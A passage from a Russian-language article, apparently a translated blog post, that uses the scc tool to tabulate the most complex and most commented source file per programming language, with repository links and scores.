MQL5 | [DTS1-Build\_814.1\_B-test~.mq5](https://github.com/dennislwm/mlea/blob/master/MQL5/Experts/Commercial/DTS1-Build_814.1_B-test~.mq5) | 2210 | | Android Interface Definition Language | [ITelephony.aidl](https://github.com/android/platform_frameworks_base/blob/master/telephony/java/com/android/internal/telephony/ITelephony.aidl) | 2005 | | Vertex Shader File | [sdk\_macros.vsh](https://github.com/bubbasacs/finalproj/blob/master/src/materialsystem/stdshaders/sdk_macros.vsh) | 1922 | | Lean | [interactive.lean](https://github.com/leanprover/lean/blob/master/library/init/meta/interactive.lean) | 1664 | | Jenkins Buildfile | [Jenkinsfile](https://github.com/elektrainitiative/libelektra/blob/master/scripts/jenkins/Jenkinsfile) | 1559 | | FIDL | [amb.in.fidl](https://github.com/otcshare/automotive-message-broker/blob/master/docs/amb.in.fidl) | 1502 | | Pony | [scenery.pony](https://bitbucket.com/thecomet/ponycraft-prototype/src/master/scripts/maps/demomap/scenery.pony) | 1497 | | PureScript | [prelude.purs](https://github.com/maxnordlund/purescript/blob/master/prelude/prelude.purs) | 1225 | | TaskPaper | [task-3275.taskpaper](https://github.com/jdzak/ncs_navigator_core/blob/master/audit/task-3275.taskpaper) | 1196 | | Dockerfile | [Dockerfile](https://github.com/iplantcollaborativeopensource/discoveryenvironmentbackend/blob/master/docker/backwards-compat/Dockerfile) | 1187 | | Janet | [Janet](https://github.com/bianary/moosehead/blob/master/player/Janet) | 1158 | | Futhark | [math.fut](https://github.com/hiperfit/futhark/blob/master/futlib/math.fut) | 990 | | Zig | [main.zig](https://github.com/aurametrix/aurametrixhubio/blob/master/Games/Tetris-zig/src/main.zig) | 903 | | XCode Config | [Project-Shared.xcconfig](https://github.com/krzyzanowskim/cryptoswift/blob/master/config/Project-Shared.xcconfig) | 522 | | JAI | [LCregistryFile.jai](https://github.com/andy-hay/lightzone/blob/master/lightcrafts/resources/com/lightcrafts/mediax/jai/LCregistryFile.jai) | 489 | | QCL | [bwt.qcl](https://bitbucket.com/gltronred/quipper-cabal/src/master/Programs/QCLParser/bwt.qcl) | 447 | | Ur/Web Project | [reader.urp](https://github.com/huluwa/bazqux-urweb/blob/master/reader.urp) | 346 | | Cassius | [default-layout.cassius](https://github.com/nubis/haskellers/blob/master/cassius/default-layout.cassius) | 313 | | Docker ignore | [.dockerignore](https://github.com/ahbeng/nusmods/blob/master/.dockerignore) | 311 | | Dhall | [largeExpressionA.dhall](https://github.com/github/linguist/blob/master/samples/Dhall/largeExpressionA.dhall) | 254 | | ignore | [.ignore](https://github.com/9renpoto/dotfiles/blob/master/.ignore) | 192 | | Bitbucket Pipeline | [bitbucket-pipelines.yml](https://github.com/ghb24/neci_stable/blob/master/bitbucket-pipelines.yml) | 181 | | Just | [Justfile](https://github.com/sporto/kic/blob/master/api/graphql/Justfile) | 95 | | Verilog Args File | [or1200.irunargs](https://github.com/doswellf/combinator-uvm/blob/master/uvm_ref/1.2/uvm_ref_flow_1.2/designs/socv/rtl/rtl_lpw/opencores/or1200.irunargs) | 60 | | Polly | [polly](https://github.com/hsoft/aurdiff/blob/master/aur/polly) | 26 | Какой самый сложный файл на каждом языке? ========================================= Ещё раз, эти значения не сопоставимы напрямую друг с другом, но интересно посмотреть, что считается самым сложным в каждом языке. Некоторые из этих файлов — абсолютные монстры. Например, рассмотрим самый сложный файл на C++, который я нашел: [COLLADASaxFWLColladaParserAutoGen15PrivateValidation.cpp](https://github.com/KhronosGroup/OpenCOLLADA/blob/master/COLLADASaxFrameworkLoader/src/generated15/COLLADASaxFWLColladaParserAutoGen15PrivateValidation.cpp): это 28,3 мегабайт компиляторского ада (и, к счастью, кажется, он сгенерирован автоматически). Примечание. Некоторые из приведённых ниже ссылок могут не сработать из-за некоторой лишней информации при создании файлов. Большинство должно работать, но для некоторых может потребоваться чуть подредактировать URL-адрес. **Полный список** | Язык | Имя файла | Сложность | | --- | --- | --- | | C++ | [COLLADASaxFWLColladaParserAutoGen15PrivateValidation.cpp](https://bitbucket.com/zhangjingguo/opencollada/src/master/COLLADASaxFrameworkLoader/src/generated15/COLLADASaxFWLColladaParserAutoGen15PrivateValidation.cpp) | 682 001 | | JavaScript | [blocks.js](https://github.com/gmarty/smsstarec/blob/master/compiled/blocks.js) | 582 070 | | C Header | [bigmofoheader.h](https://github.com/bathtub/c---project-with-ruby-tests/blob/master/src/bigmofoheader.h) | 465 589 | | C | [fmFormula.c](https://github.com/alexrhein/typechef-linuxanalysis/blob/master/fmFormula.c) | 445 545 | | Objective C | [faster.m](https://github.com/chinnabommu/computervisionwip/blob/master/imports/fast/fast-matlab-src-2.1/faster.m) | 409 792 | | SQL | [dump20120515.sql](https://github.com/iklementiev/smscenter/blob/master/dump20120515.sql) | 181 146 | | ASP.NET | [results-i386.master](https://github.com/openindiana/oi-userland/blob/master/components/developer/gcc-7/test/results-i386.master) | 164 528 | | Java | [ConcourseService.java](https://github.com/cinchapi/concourse/blob/master/concourse-driver-java/src/main/java/com/cinchapi/concourse/thrift/ConcourseService.java) | 139 020 | | TCL | [68030\_TK.tcl](https://github.com/mheinrichs/68030tk/blob/master/Logic/68030_TK.tcl) | 136 578 | | C++ Header | [TPG\_hardcoded.hh](https://github.com/abdollah110/tauhlt/blob/master/CalibCalorimetry/EcalTPGTools/test/TPG_hardcoded.hh) | 129 465 | | TypeScript Typings | [all.d.ts](https://github.com/teppeis/closure-librarydts/blob/master/all.d.ts) | 127 785 | | SVG | [Class Diagram2.svg](https://github.com/tarekauel/planspiel/blob/master/Class%20Diagram2.svg) | 105 353 | | Lua | [luaFile1000kLines.lua](https://github.com/ldeniau/mad/blob/master/src/blackBoxTest/luaFile1000kLines.lua) | 102 960 | | PHP | [fopen.php](https://github.com/bit3archive/php-benchmark/blob/master/fopen.php) | 100 000 | | Org | [2015-02-25\_idfreeze-2.org](https://github.com/mquinson/smpi-modeling/blob/master/collectives/log/2015-02-25_idfreeze-2.org) | 63 326 | | Ruby | [all\_search\_helpers.rb](https://github.com/calebbarr/tent-of-meeting/blob/master/resources/all_search_helpers.rb) | 60 375 | | Scheme | [test.ss](https://github.com/shilrobot/shilscript_plus_plus/blob/master/scripts/test.ss) | 50 000 | | Stata | [.31113.do](https://github.com/funzelknut/migrationsvariable/blob/master/Stata/DoFile/Logic/combinations/.31113.do) | 48 600 | | Elixir | [pmid.sgd.crawl.ex](https://github.com/teamcohen/querendipity/blob/master/data/pmid.sgd.crawl.ex) | 46 479 | | Brainfuck | [Poll.bf](https://bitbucket.com/pholey/poll/src/master/Brainfuck/Poll.bf) | 41 399 | | Perl | [r1d7.pl](https://github.com/aanavas/srproject/blob/master/t2p/r1d7.pl) | 41 128 | | Go | [segment\_words\_prod.go](https://github.com/tsileo/blobstash/blob/master/vendor/github.com/blevesearch/segment/segment_words_prod.go) | 34 715 | | Python | [lrparsing-sqlite.py](https://github.com/wks/lrparsing3/blob/master/doc/examples/lrparsing-sqlite.py) | 34 700 | | Module-Definition | [wordnet3\_0.def](https://github.com/mihania/slovo/blob/master/src/WindowsPhone/Slovo.UI/Data/wordnet3_0.def) | 32 008 | | Clojure | [raw-data.clj](https://github.com/candera/cs-atom/blob/master/raw-data.clj) | 29 950 | | C# | [Matrix.Product.Generated.cs](https://github.com/accord-net/framework/blob/master/Sources/Accord.Math/Matrix/Matrix.Product.Generated.cs) | 29 675 | | D | [parser.d](https://github.com/cybershadow/seatd/blob/master/src/seatd/parser.d) | 27 249 | | FORTRAN Modern | [euitm\_routines\_407c.f90](https://github.com/rfitzp/tomuhawc/blob/master/chease_src/euitm_routines_407c.f90) | 27 161 | | Puppet | [sqlite3.c.pp](https://github.com/joliebig/crefactor-sqliteevaluation/blob/master/sqlite3.c.pp) | 25 753 | | SystemVerilog | [6s131.sv](https://github.com/rajdeep87/verilog-c/blob/master/safe/hwmcc15/6s131/6s131.sv) | 24 300 | | Autoconf | [Makefile.in](https://github.com/lronaldo/cpctelera/blob/master/cpctelera/tools/sdcc-3.6.8-r9946/src/device/lib/pic16/libio/Makefile.in) | 23 183 | | Specman e | [hansards.e](https://github.com/alopez/en600468/blob/master/aligner/data/hansards.e) | 20 893 | | Smarty Template | [test-include-09.tpl](https://github.com/jouvin/pan/blob/master/panc/tests/Performance/tests/include/test-include-09.tpl) | 20 000 | | TypeScript | [JSONiqParser.ts](http://UNKNOWN/blob/master/lib/compiler/parsers/JSONiqParser.ts) | 18 162 | | V | [altera\_mf.v](https://github.com/amartya00/verilog/blob/master/gplgpu/gplgpu/hdl/sim_lib/altera_mf.v) | 13 584 | | F\* | [slayer-3.fst](https://github.com/mmjb/kittel-koat/blob/master/koat-evaluation/examples/T2/slayer-3.fst) | 13 428 | | TeX | [definitions.tex](https://bitbucket.com/kommusoft/publications/src/master/urbandictionaryprintable/definitions.tex) | 13 342 | | Swift | [Google.Protobuf.UnittestEnormousDescriptor.proto.swift](https://github.com/alexeyxo/protobuf-swift/blob/master/plugin/Tests/pbTests/Google.Protobuf.UnittestEnormousDescriptor.proto.swift) | 13 017 | | Assembly | [all-opcodes.s](https://bitbucket.com/bminor/binutils-gdb/src/master/gas/testsuite/gas/tic54x/all-opcodes.s) | 12 800 | | Bazel | [firebird2.5\_2.5.2.26540.ds4-10\_amd64-20140427-2159.build](https://github.com/nonas/debian-clang/blob/master/tests/build_timeout/buildlogs/run1/firebird2.5_2.5.2.26540.ds4-10_amd64-20140427-2159.build) | 12 149 | | FORTRAN Legacy | [lm67.F](https://github.com/bakhtatou/ecalj/blob/master/lm7K/lm67src/lm67.F) | 11 837 | | R | [Rallfun-v36.R](https://github.com/nicebread/wrs/blob/master/pkg/R/Rallfun-v36.R) | 11 287 | | ActionScript | [AccessorSpray.as](https://github.com/3bu1/crossbridge/blob/master/avmplus/test/acceptance/as3/Definitions/FunctionAccessors/AccessorSpray.as) | 10 804 | | Haskell | [Tags.hs](https://bitbucket.com/plooney/lamdicom/src/master/Tags.hs) | 10 444 | | Prolog | [books\_save.p](https://github.com/nhuntwalker/mystuff/blob/master/books/books_save.p) | 10 243 | | Dart | [DartParser.dart](https://github.com/financecoding/dartlr/blob/master/tests/out/DartParser.dart) | 9606 | | VHDL | [unisim\_VITAL.vhd](https://github.com/arunkumarcea/ahir/blob/master/vhdl/unisims/unisim_VITAL.vhd) | 9590 | | Batch | [test.bat](https://github.com/alepharchives/arabica/blob/master/tests/XSLT/testsuite/test.bat) | 9424 | | Boo | [compman.tex](https://github.com/nddrylliog/ooc-legacy/blob/master/legacy-doc/compman.tex) | 9280 | | Coq | [NangateOpenCellLibrary.v](https://github.com/juliankemmerer/drexel-ecec575/blob/master/Encounter/NangateOpenCellLibrary/Front_End/Verilog/NangateOpenCellLibrary.v) | 8988 | | Shell | [i3\_completion.sh](https://github.com/existme/myvimconfig/blob/master/zsh/completion/i3_completion.sh) | 8669 | | Kotlin | [1.kt](https://github.com/jetbrains/kotlin/blob/master/compiler/tests-spec/testData/diagnostics/notLinked/dfa/pos/1.kt) | 7388 | | JSX | [typescript-parser.jsx](https://github.com/shibukawa/typescript-parserjsx/blob/master/src/typescript-parser.jsx) | 7123 | | Makefile | [Makefile](https://github.com/kharmajbird/jayos/blob/master/jlfs/Makefile) | 6642 | | Emacs Lisp | [bible.el](https://github.com/bbohrer/emacs/blob/master/correct/bible.el) | 6345 | | Objective C++ | [set.mm](https://github.com/metamath/setmm/blob/master/set.mm) | 6285 | | OCaml | [sparcrec.ml](https://github.com/nrnrnr/qc--/blob/master/gen/sparcrec.ml) | 6285 | | Expect | [condloadstore.stdout.exp](https://bitbucket.com/chameleonos/android_external_valgrind/src/master/main/none/tests/s390x/condloadstore.stdout.exp) | 6144 | | SAS | [import\_REDCap.sas](https://github.com/gracieha/fixit/blob/master/import_REDCap.sas) | 5783 | | Julia | [pilot-2013-05-14.jl](https://github.com/open-data/ckan-datatools/blob/master/data/pilot-2013-05-14.jl) | 5599 | | Cython | [types.pyx](https://github.com/facebook/fbthrift/blob/master/thrift/compiler/test/fixtures/mcpp2-compare/gen-py3/module/types.pyx) | 5278 | | Modula3 | [tpch22.m3](https://github.com/damsl/k3-mosaic/blob/master/tests/m3/tpch22.m3) | 5182 | | Haxe | [T1231.hx](https://github.com/saumya/nuggeta/blob/master/src-nuggeta/com/nuggeta/temp/k/l/m/T1231.hx) | 5110 | | Visual Basic for Applications | [Coverage.cls](https://gitlab.com/celnet/celnet/blob/master/Bt-UAT/src/classes/Coverage.cls) | 5029 | | Lisp | [simN.lsp](https://github.com/ayoub-89/nltk_data/blob/master/corpora/lin_thesaurus/simN.lsp) | 4994 | | Scala | [SpeedTest1MB.sc](https://github.com/byvoid/sugarcpp/blob/master/src/SugarCpp.Test/Performance/SpeedTest1MB.sc) | 4908 | | Groovy | [ZulTagLib.groovy](https://github.com/nagysz/zkui/blob/master/grails-app/taglib/org/grails/plugins/zkui/ZulTagLib.groovy) | 4714 | | Powershell | [PresentationFramework.ps1](https://github.com/carneycalcutt/windowspowershell/blob/master/Modules/WPK/GeneratedControls/PresentationFramework.ps1) | 4108 | | Ada | [bhps-print\_full\_version.adb](https://github.com/grahamstark/tax_benefit_model_components/blob/master/src/uk/raw/bhps/bhps-print_full_version.adb) | 3961 | | JavaServer Pages | [sink\_jq.jsp](https://github.com/builtlean/builtlean/blob/master/styles/sink_jq.jsp) | 3850 | | GN | [patch-third\_party**ffmpeg**ffmpeg\_generated.gni](https://github.com/reallyenglish/freebsd-ports/blob/master/www/chromium/files/patch-third_party__ffmpeg__ffmpeg_generated.gni) | 3742 | | Basic | [MSA\_version116\_4q.bas](https://github.com/hpux735/spectrum-analyzer/blob/master/Spectrum%20Analyzer/MSA_version116_4q.bas) | 3502 | | Pascal | [Python\_StdCtrls.pas](https://github.com/katrid/python4delphi/blob/master/PythonVCL/Components/Sources/VCL/D4/Python_StdCtrls.pas) | 3399 | | Standard ML (SML) | [arm.sml](https://github.com/dsheets/hol/blob/master/examples/l3-machine-code/arm/model/arm.sml) | 3375 | | Erlang | [lipsum.hrl](https://github.com/h4xxel/prog2/blob/master/inl2/lipsum.hrl) | 3228 | | ASP | [mylib.asp](https://github.com/cinsoft/my-library/blob/master/mylib.asp) | 3149 | | CSS | [three-viewer.css](https://github.com/kaosat-dev/polymer-threejs/blob/master/elements/three-viewer/vendor/three-viewer.css) | 3071 | | Unreal Script | [ScriptedPawn.uc](https://github.com/svn2github/deus-ex-plus/blob/master/Classes/ScriptedPawn.uc) | 2909 | | CoffeeScript | [game.coffee](https://github.com/uhyo/jinrou/blob/master/server/rpc/game/game.coffee) | 2772 | | AutoHotKey | [fishlog5.93.ahk](https://github.com/billman87/fishlog/blob/master/fishlog5.93.ahk) | 2764 | | MQL4 | [PhD Appsolute System.mq4](https://github.com/lvcster/java-examples/blob/master/PhD%20Appsolute%20System.mq4) | 2738 | | Processing | [Final.pde](https://github.com/apcs-k/per10-zilbersher-reschke-lasercore/blob/master/Final/Final.pde) | 2635 | | Isabelle | [StdInst.thy](https://github.com/shxycwxj/topos/blob/master/thy_lib/isabelle_afp/Collections/gen_algo/StdInst.thy) | 2401 | | Razor | [Checklist.cshtml](https://github.com/nathantownsend/protodev/blob/master/DEQMYCOAL.web/Views/ePermitCompleteness/Checklist.cshtml) | 2341 | | Sass | [\_multi-color-css-stackicons-social.scss](https://github.com/aleph3d/wafer/blob/master/SOURCE/THIRDPARTY/Stackicons/scss/_multi-color-css-stackicons-social.scss) | 2325 | | Vala | [valaccodebasemodule.vala](https://github.com/gnome/vala/blob/master/codegen/valaccodebasemodule.vala) | 2100 | | MSBuild | [all.props](https://github.com/blackoutjack/jamweaver/blob/master/src/native/all.props) | 2008 | | Rust | [ffi.rs](https://github.com/blei/rust-dumb-gtk/blob/master/src/ffi.rs) | 1928 | | QML | [Dots.qml](https://github.com/rakesh91/qt_mobile_apps/blob/master/DOTS/SmartDots-build-simulator/qml/Dots/Dots.qml) | 1875 | | F# | [test.fsx](https://github.com/jack-pappas/fsharp/blob/master/tests/fsharp/core/libtest/test.fsx) | 1826 | | Vim Script | [netrw.vim](https://github.com/anoxic/dotfiles/blob/master/vim/autoload/netrw.vim) | 1790 | | Korn Shell | [attachment.ksh](https://github.com/ggouaillardet/ompi-www/blob/master/community/lists/devel/attachments/20090108/42143e6f/attachment.ksh) | 1773 | | Vue | [vue](https://github.com/sebabelmar/sebabelmarhubio/blob/master/img/Seba%20Belmar%20-%20Software%20Engineer_files/vue) | 1738 | | sed | [SED](https://bitbucket.com/foss4mv/scarletdme/src/master/GPL.BP/SED) | 1699 | | GLSL | [comp](https://github.com/asirjoosingh/renorm_gamess/blob/master/comp) | 1699 | | Nix | [auth.nix](https://bitbucket.com/ifenglin/ideploy/src/master/Splunk_TA_nix/samples/auth.nix) | 1615 | | Mustache | [template.mustache](https://github.com/browniefed/parsetemplateexample/blob/master/public/template.mustache) | 1561 | | Bitbake | [my-2010.bb](https://github.com/rvclayton/bibtex/blob/master/my-2010.bb) | 1549 | | Ur/Web | [votes.ur](https://github.com/deepuiitk/indian-parallel-corpora/blob/master/ur-en/votes.ur) | 1515 | | BASH | [pgxc\_ctl.bash](https://github.com/andrei-mart/postgres-xc/blob/master/contrib/pgxc_ctl/pgxc_ctl.bash) | 1426 | | MQL Header | [hanoverfunctions.mqh](https://github.com/ujfjhz/costbalancer/blob/master/Include/hanoverfunctions.mqh) | 1393 | | Visual Basic | [LGMDdataDataSet.Designer.vb](https://github.com/mateso/lgmd2ward/blob/master/lgmd2ward/LGMDdataDataSet.Designer.vb) | 1369 | | Q# | [flfacturac.qs](https://github.com/mariomop/abanq-ar/blob/master/modulos/facturacion/facturacion/scripts/flfacturac.qs) | 1359 | | C Shell | [regtest\_hwrf.csh](https://bitbucket.com/dargueso/unsw-ccrc-wrf/src/master/WRFV3/tools/regtest_hwrf.csh) | 1214 | | MQL5 | [DTS1-Build\_814.1\_B-test~.mq5](https://github.com/dennislwm/mlea/blob/master/MQL5/Experts/Commercial/DTS1-Build_814.1_B-test~.mq5) | 1186 | | Xtend | [Parser.xtend](https://github.com/knisterpeter/djeypeg/blob/master/parser/src/main/java/de/matrixweb/djeypeg/internal/Parser.xtend) | 1116 | | Nim | [disas.nim](https://github.com/comex/imaon/blob/master/disas.nim) | 1098 | | CMake | [MacroOutOfSourceBuild.cmake](https://github.com/adc90/sandbox/blob/master/cmake/tutorial1/src/cmake/modules/MacroOutOfSourceBuild.cmake) | 1069 | | Protocol Buffers | [configure.proto](https://github.com/areascout/vice-gles2/blob/master/configure.proto) | 997 | | SKILL | [switch.il](https://github.com/kth-prosper/main/blob/master/verification/out/from_hol2/switch.il) | 997 | | COBOL | [geekcode.cob](https://github.com/rflejeune/geekcode/blob/master/geekcode.cob) | 989 | | Game Maker Language | [hydroEx\_River.gml](https://github.com/bkiselka/hale/blob/master/doc/plugins/eu.esdihumboldt.hale.doc.user.examples.meridian2/hydro/hydroEx_River.gml) | 982 | | Gherkin Specification | [upload\_remixed\_program\_again\_complex.feature](https://github.com/catrobat/catroweb-symfony/blob/master/tests/behat/features/api/upload_remixed_program_again_complex.feature) | 959 | | Alloy | [battleformulas.als](https://github.com/iyouboushi/mirc-battlearena/blob/master/battlearena/battleformulas.als) | 948 | | Bosque | [recover.bsq](https://github.com/umeshsahoo/website_umesh/blob/master/servlet/oracle/product/10.2.0/server/RDBMS/ADMIN/recover.bsq) | 924 | | ColdFusion | [jquery.js.cfm](https://bitbucket.com/busches/lucee/src/master/lucee-cfml/lucee-admin/jquery.js.cfm) | 920 | | Stylus | [buttron.styl](https://gitlab.com/artisin/dreamdocs/blob/master/client/styles/imports/buttron.styl) | 866 | | ColdFusion CFScript | [apiUtility.cfc](https://github.com/blueriver/muracms/blob/master/core/mura/client/api/json/v1/apiUtility.cfc) | 855 | | Verilog | [exec\_matrix.vh](https://bitbucket.com/gdevic/a-z80/src/master/cpu/control/exec_matrix.vh) | 793 | | Freemarker Template | [DefaultScreenMacros.html.ftl](https://github.com/jonesde/moqui/blob/master/runtime/template/screen-macro/DefaultScreenMacros.html.ftl) | 771 | | Crystal | [lexer.cr](https://github.com/mverzilli/crystal/blob/master/src/compiler/crystal/syntax/lexer.cr) | 753 | | Forth | [e4](https://github.com/mdko/cs478/blob/master/project-toolkits/toolkitc/bin/e4) | 690 | | Monkey C | [mc](https://github.com/nasahackto/mesh/blob/master/mesh-1.4/mesh/perl/mc) | 672 | | Rakefile | [import.rake](https://github.com/structuralartistry/wavelineup3/blob/master/lib/tasks/import.rake) | 652 | | Zsh | [zshrc](https://github.com/kino/mydotfile/blob/master/homefile/zshrc) | 649 | | Ruby HTML | [ext\_report.rhtml](https://github.com/mallikarjunrao/hmm_application/blob/master/cravecupcakes/trunk/app/views/ownify/sales/ext_report.rhtml) | 633 | | Handlebars | [templates.handlebars](https://github.com/sakai-mirror/roster2/blob/master/src/webapp/templates/templates.handlebars) | 557 | | SRecode Template | [Al3SEbeK61s.srt](https://github.com/samdutton/chromesearch/blob/master/tracks/Al3SEbeK61s.srt) | 535 | | Scons | [SConstruct](https://gitlab.com/ineris/amc/blob/master/share/SConstruct) | 522 | | Agda | [Square.agda](https://github.com/hott/hott-agda/blob/master/core/lib/cubical/Square.agda) | 491 | | Ceylon | [runtime.ceylon](https://github.com/unratito/ceylonlanguage/blob/master/test/metamodel/runtime.ceylon) | 467 | | Julius | [default-layout.julius](https://github.com/ahushh/monaba/blob/master/monaba/templates/default-layout.julius) | 436 | | Wolfram | [qmSolidsPs8dContourPlot.nb](https://github.com/peeterjoot/mathematica/blob/master/phy487/qmSolidsPs8dContourPlot.nb) | 417 | | Cabal | [parconc-examples.cabal](https://github.com/simonmar/parconc-examples/blob/master/parconc-examples.cabal) | 406 | | Fragment Shader File | [flappybird.fsh](https://github.com/benraziel/flappybird-shader/blob/master/flappybird.fsh) | 349 | | ATS | [ats\_staexp2\_util1.dats](https://github.com/alex-ren/atstools/blob/master/src/ats_staexp2_util1.dats) | 311 | | Jinja | [php.ini.j2](https://github.com/f500/ansible-php_cli/blob/master/templates/php.ini.j2) | 307 | | Opalang | [unicode.opa](https://github.com/alexkit/opalang/blob/master/lib/stdlib/core/unicode.opa) | 306 | | Twig Template | [product\_form.twig](https://github.com/babyonline/opencart/blob/master/upload/admin/view/template/catalog/product_form.twig) | 296 | | ClojureScript | [core.cljs](https://github.com/clojure/clojurescript/blob/master/src/main/cljs/cljs/core.cljs) | 271 | | Hamlet | [hamlet](https://github.com/pgarst/javabio/blob/master/Data/Text/hamlet) | 270 | | Oz | [StaticAnalysis.oz](https://github.com/doublec/mozart/blob/master/share/lib/compiler/StaticAnalysis.oz) | 267 | | Elm | [Indexer.elm](https://github.com/cthree/dotfiles/blob/master/config/atom/packages/elmjutsu/elm/Indexer.elm) | 267 | | Meson | [meson.build](https://github.com/ixit/mesa-3d/blob/master/meson.build) | 248 | | ABAP | [ZRFFORI99.abap](https://github.com/yetaai/sap/blob/master/ZBCS01Reports/ZRFFORI99.abap) | 244 | | Dockerfile | [Dockerfile](https://github.com/osgeo/gdal/blob/master/gdal/docker/alpine-normal/Dockerfile) | 243 | | Wren | [repl.wren](https://github.com/munificent/wren/blob/master/src/module/repl.wren) | 242 | | Fish | [fisher.fish](https://github.com/adampash/dotfiles/blob/master/config/fish/functions/fisher.fish) | 217 | | Emacs Dev Env | [ede](https://github.com/timvisher/emacsbak/blob/master/info/ede) | 211 | | GDScript | [tiled\_map.gd](https://github.com/grandmasterhack/1gam/blob/master/2017/June/Godot%20Picking%20Sticks/addons/vnen.tiled_importer/tiled_map.gd) | 195 | | IDL | [bgfx.idl](https://github.com/bkaradzic/bgfx/blob/master/scripts/bgfx.idl) | 187 | | Jade | [docs.jade](https://github.com/jaeh/printit/blob/master/views/printit/pages/docs.jade) | 181 | | PureScript | [List.purs](https://github.com/purescript-contrib/purescript-lists/blob/master/test/Test/Data/List.purs) | 180 | | XAML | [Midnight.xaml](https://github.com/btsmarco/theagpeya/blob/master/CopticAgpeya/English/Midnight.xaml) | 179 | | Flow9 | [TypeMapper.js.flow](https://github.com/samst0r/samst0rhubio/blob/master/node_modules/graphql-compose/mjs/TypeMapper.js.flow) | 173 | | Idris | [Utils.idr](https://github.com/cheepnis/idris-dev/blob/master/libs/base/Language/Reflection/Utils.idr) | 166 | | PSL Assertion | [pre\_dec.psl](https://github.com/endyson/sept-13-2011/blob/master/sim/psl/pre_dec.psl) | 162 | | Lean | [kernel.lean](https://github.com/avigad/libraries/blob/master/library/standard/kernel.lean) | 161 | | MUMPS | [link.mps](https://github.com/openzelda/content-package/blob/master/scripts/link.mps) | 161 | | Vertex Shader File | [base.vsh](https://github.com/sharaugn/mc-reloaded-shaders/blob/master/base.vsh) | 152 | | Go Template | [code-generator.tmpl](https://github.com/aicp/frameworks_native/blob/master/vulkan/libvulkan/code-generator.tmpl) | 148 | | Mako | [pokemon.mako](https://github.com/epithumia/spline-pokedex/blob/master/splinext/pokedex/templates/pokedex/search/pokemon.mako) | 137 | | Closure Template | [template.soy](https://github.com/gan/ganhubio/blob/master/blockly-games/genetics/template.soy) | 121 | | Zig | [main.zig](https://github.com/aurametrix/aurametrixhubio/blob/master/Games/Tetris-zig/src/main.zig) | 115 | | TOML | [telex\_o.toml](https://github.com/monome/teletype/blob/master/docs/ops/telex_o.toml) | 100 | | Softbridge Basic | [asm.sbl](https://github.com/hardbol/spitbol/blob/master/gas/asm.sbl) | 98 | | QCL | [bwt.qcl](https://bitbucket.com/gltronred/quipper-cabal/src/master/Programs/QCLParser/bwt.qcl) | 96 | | Futhark | [math.fut](https://github.com/hiperfit/futhark/blob/master/futlib/math.fut) | 86 | | Pony | [jstypes.pony](https://github.com/rockneurotiko/rockneurotikohubio/blob/master/RandomThings/Pony/json/jstypes.pony) | 70 | | LOLCODE | [LOLTracer.lol](https://bitbucket.com/animeshsinha/linguist-github/src/master/samples/LOLCODE/LOLTracer.lol) | 61 | | Alchemist | [alchemist.crn](https://github.com/boyter/scc/blob/master/alchemist.crn) | 55 | | Madlang | [Copying.MAD](https://github.com/aldomx/stepmania/blob/master/Docs/Copying.MAD) | 44 | | LD Script | [plugin.lds](https://github.com/rockbox/rockbox/blob/master/apps/plugins/plugin.lds) | 39 | | Device Tree | [dts](https://github.com/wanghao-xznu/vte/blob/master/testcases/third_party_suite/dt/dt.d/dts) | 22 | | FIDL | [GlobalCapabilitiesDirectory.fidl](https://github.com/bmwcarit/joynr/blob/master/basemodel/src/main/franca/joynr/GlobalCapabilitiesDirectory.fidl) | 19 | | JAI | [LICENSE.jai](https://github.com/mihxil/mmbase/blob/master/documentation/releases/legal/LICENSE.jai) | 18 | | Just | [Justfile](https://github.com/opetushallitus/eperusteet/blob/master/Justfile) | 7 | | Android Interface Definition Language | [aidl](https://github.com/zhaojl/demo/blob/master/android_base/aidl) | 3 | | Ur/Web Project | [jointSpace.urp](https://bitbucket.com/rkeatin3/code-samples/src/master/C++(ROS)/ME530646/ur5/jointSpace.urp) | 2 | | Spice Netlist | [GRI30.CKT](https://github.com/acuoci/edcsmoke/blob/master/run/kineticMechanisms/thermodynamics/GRI30.CKT) | 2 | Самый сложный файл относительно количества строк? ================================================= Звучит хорошо в теории, но на деле… что-то минифицированное или без разбиения на строки искажает результаты, делая их бессмысленными. Поэтому не публикую результаты вычислений. Однако я создал [тикет](https://github.com/boyter/scc/issues/91) в `scc` для поддержки детекта минификации, чтобы удалять его из результатов вычислений. Вероятно, можно сделать какие-то выводы на основе имеющихся данных, но хочется, чтобы выгоду от этой функции получили все пользователи `scc`. Какой самый комментируемый файл на каждом языке? ================================================ Понятия не имею, какую ценную информацию вы можете извлечь из этого, но интересно посмотреть. Примечание. Некоторые из приведённых ниже ссылок могут не сработать из-за некоторой лишней информации при создании файлов. Большинство должно работать, но для некоторых может потребоваться чуть подредактировать URL-адрес. **Полный список** | Язык | Имя файла | Строк комментариев | | --- | --- | --- | | Prolog | [ts-with-score-multiplier.p](https://github.com/ncvc/sentiment/blob/master/ts-with-score-multiplier.p) | 5 603 870 | | C | [testgen.c](https://github.com/aclements/thesis/blob/master/thesis/data/testgen.c) | 1 705 508 | | Python | [Untitled0.py](https://github.com/maxsong123/bearded-wight/blob/master/Untitled0.py) | 1 663 466 | | JavaScript | [100MB.js](https://github.com/meotimdihia/pythontest/blob/master/100MB.js) | 1 165 656 | | SVG | [p4-s3\_I369600.svg](https://bitbucket.com/nicholma/cs4021-advanced-architecture-misc/src/master/Interleaves/alt/p4-s3_I369600.svg) | 1 107 955 | | SQL | [test.sql](https://github.com/freeside/freeside/blob/master/FS-Test/share/test.sql) | 858 993 | | C Header | [head.h](https://github.com/findingdestity/vuforiaaugmentedreality/blob/master/VuforiaAugmentedReality/VuforiaAugmentedReality/Models/head.h) | 686 587 | | C++ | [ResidueTopology.cc](https://github.com/major-lab/mccore/blob/master/lib/ResidueTopology.cc) | 663 024 | | Autoconf | [square\_detector\_local.in](https://github.com/revivo/py_snippets/blob/master/data/square_detector_local.in) | 625 464 | | TypeScript | [reallyLargeFile.ts](https://github.com/forivall/typescript/blob/master/tests/cases/fourslash/reallyLargeFile.ts) | 583 708 | | LEX | [polaris-xp900.l](https://github.com/furushchev/jsk_demos/blob/master/jsk_2015_06_hrp_drc/drc_task_common/euslisp/vehicle/polaris-xp900.l) | 457 288 | | XML | [Test1-CDL-soapui-project.xml](https://github.com/cyberdrcarr/knowledgemanagementframework/blob/master/QA/CommonDataLayer/Test1-CDL-soapui-project.xml) | 411 321 | | HTML | [todos\_centros.html](https://github.com/alvarobp/donde_estudio/blob/master/test/fixtures/todos_centros.html) | 366 776 | | Pascal | [FHIR.R4.Resources.pas](https://github.com/grahamegrieve/fhirserver/blob/master/library/r4/FHIR.R4.Resources.pas) | 363 289 | | SystemVerilog | 